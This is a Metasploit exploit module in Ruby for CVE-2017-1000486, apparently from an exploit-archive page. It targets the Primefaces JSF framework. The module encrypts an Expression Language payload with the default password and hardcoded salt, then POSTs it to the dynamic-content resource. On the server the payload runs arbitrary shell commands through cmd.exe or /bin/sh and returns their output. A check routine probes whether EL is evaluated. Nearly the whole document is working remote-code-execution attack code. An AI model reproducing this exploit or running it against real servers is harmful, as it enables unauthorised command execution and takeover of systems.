Primefaces 5.x - Remote Code Execution (Metasploit)

2018-01-18 09:05:02

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',
'Description' => %q{
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
},
'Author' => [ 'Bjoern Schuette' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', 'CVE-2017-1000486'],
['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],
['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']
],
'Privileged' => true,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd'
}

},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'DisclosureDate' => 'Feb 15 2016',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Universal', {
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'Arch' => [ ARCH_CMD ],
},
],
],
'DefaultTarget' => 0))

register_options([
Opt::RPORT(80),
OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml']) ,
OptString.new('CMD', [ false , "Command to execute", '']),
])
end

def encrypt_el(password, payload)

salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
iterationCount = 19

cipher = OpenSSL::Cipher.new("DES")
cipher.encrypt
cipher.pkcs5_keyivgen password, salt, iterationCount

ciphertext = cipher.update payload
ciphertext << cipher.final
return ciphertext

end

def http_send_command(cmd, payloadEL)
uri = normalize_uri(target_uri.path)
encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)
encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)
encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)

# send the payload and execute command
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'pfdrt' => 'sc',
'ln' => 'primefaces',
'pfdrid' => encrypted_payload_base64_url_encoded
}
})

if res.nil?
vprint_error("Connection timed out")
fail_with(Failure::Unknown, "Failed to trigger the Enter button")
end

if res && res.headers && (res.code == 302 || res.code == 200)
print_good("HTTP return code #{res.code}")
else
vprint_error(res.body)
fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")
end
return res
end

def exploit
cmd=""
if not datastore['CMD'].empty?
cmd = datastore['CMD']
else
cmd = payload.encoded
end
payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL << '${session.getAttribute("scriptengine").eval('
payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'
payloadEL << 'var proc = null;'
payloadEL << 'os.toLowerCase().contains(\"win\")? '
payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
payloadEL << 'var is = proc.getInputStream();'
payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';

vprint_status("Attempting to execute: #{cmd}")
resp = http_send_command(cmd, payloadEL)
print_line(resp.body.to_s)
m = resp.body.to_s
if m.empty?
print_error("This server may not be vulnerable")
end
return
end

def check
var_a = rand_text_alpha_lower(4)
payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a
res = http_send_command(var_a, payloadEL)
if res.headers
if res.headers["primesecretchk"] == #{var_a}
vprint_good("Victim evaluates EL expressions")
return Exploit::CheckCode::Vulnerable
end
else
vprint_error("Unable to determine due to a HTTP connection timeout")
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end

end

Fixes

No fixes

In order to submit a new fix you need to be registered.